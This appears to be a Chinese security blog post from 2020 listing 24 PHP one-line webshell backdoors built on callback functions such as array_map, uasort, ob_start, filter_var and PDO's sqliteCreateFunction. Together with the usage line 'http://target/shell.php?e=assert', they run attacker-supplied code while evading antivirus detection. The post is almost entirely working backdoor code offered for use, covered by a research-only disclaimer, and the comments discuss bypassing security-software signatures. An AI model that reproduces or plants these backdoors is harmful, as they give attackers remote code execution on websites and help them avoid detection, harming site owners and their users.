类别:LINUX / GNU / 日期:2020-06-26 / 浏览:1856 / 评论:2
分享一些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。(少部分一句话需要php5.4.8+、或sqlite/pdo/yaml/memcached扩展等)
原理:https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html
所有一句话使用方法基本都是:http://target/shell.php?e=assert 密码pass
#01 $e = $_REQUEST['e']; $arr = array($_POST['pass'],); array_filter($arr, $e); #02 $e = $_REQUEST['e']; $arr = array($_POST['pass'],); array_map($e, $arr); #03 $e = $_REQUEST['e']; $arr = array('test', $_REQUEST['pass']); uasort($arr, $e); #04 $e = $_REQUEST['e']; $arr = array('test' => 1, $_REQUEST['pass'] => 2); uksort($arr, $e); #05 $arr = new ArrayObject(array('test', $_REQUEST['pass'])); $arr->uasort('assert'); #06 $arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2)); $arr->uksort('assert'); #07 $e = $_REQUEST['e']; $arr = array(1); array_reduce($arr, $e, $_POST['pass']); #08 $e = $_REQUEST['e']; $arr = array($_POST['pass']); $arr2 = array(1); array_udiff($arr, $arr2, $e); #09 $e = $_REQUEST['e']; $arr = array($_POST['pass'] => '|.*|e',); array_walk($arr, $e, ''); #10 $e = $_REQUEST['e']; $arr = array($_POST['pass'] => '|.*|e',); array_walk_recursive($arr, $e, ''); #11 mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e'); #12 echo preg_filter('|.*|e', $_REQUEST['pass'], ''); #13 ob_start('assert'); echo $_REQUEST['pass']; ob_end_flush(); #14 $e = $_REQUEST['e']; register_shutdown_function($e, $_REQUEST['pass']); #15 $e = $_REQUEST['e']; declare(ticks=1); register_tick_function($e, $_REQUEST['pass']); #16 filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert')); #17 filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert'))); #18 $e = $_REQUEST['e']; $db = new PDO('sqlite:sqlite.db3'); $db->sqliteCreateFunction('myfunc', $e, 1); $sth = $db->prepare("SELECT myfunc(:exec)"); $sth->execute(array(':exec' => $_REQUEST['pass'])); #19 $e = $_REQUEST['e']; $db = new SQLite3('sqlite.db3'); $db->createFunction('myfunc', $e); $stmt = $db->prepare("SELECT myfunc(?)"); $stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT); $stmt->execute(); #20 $str = urlencode($_REQUEST['pass']); $yaml = <<<EOD greeting: !{$str} "|.+|e" EOD; $parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace')); #21 $mem = new Memcache(); $re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);')); $mem->connect($_REQUEST['pass'], 11211, 0); #22 preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']); #23 mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']); #24 $iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);')); foreach ($iterator as $item) {echo $item;}
法律声明
1.请遵守中华人民共和国相关法律、条例
2.本站提供的各类工具及文章,只可研究学习,本站对使用这些工具(文章)而导致的一切后果,不承担任何责任!
3.本站不保证提供的软件十分安全或是完全可用,请下载后自行检查
4.如不同意以上声明,请立即删除,不要使用,谢谢合作
共有 2 条评论
瞎几把发,post request一大堆还无特征
没看到外链吗,一想就知道转发的好吧,有用就参考,没用就绕道。
且这里面没有加密,所谓无特征是,不包含敏感函数。
你想绕过安全软件特征码就自己想办法,别瞎抱怨。
发表评论 / 取消回复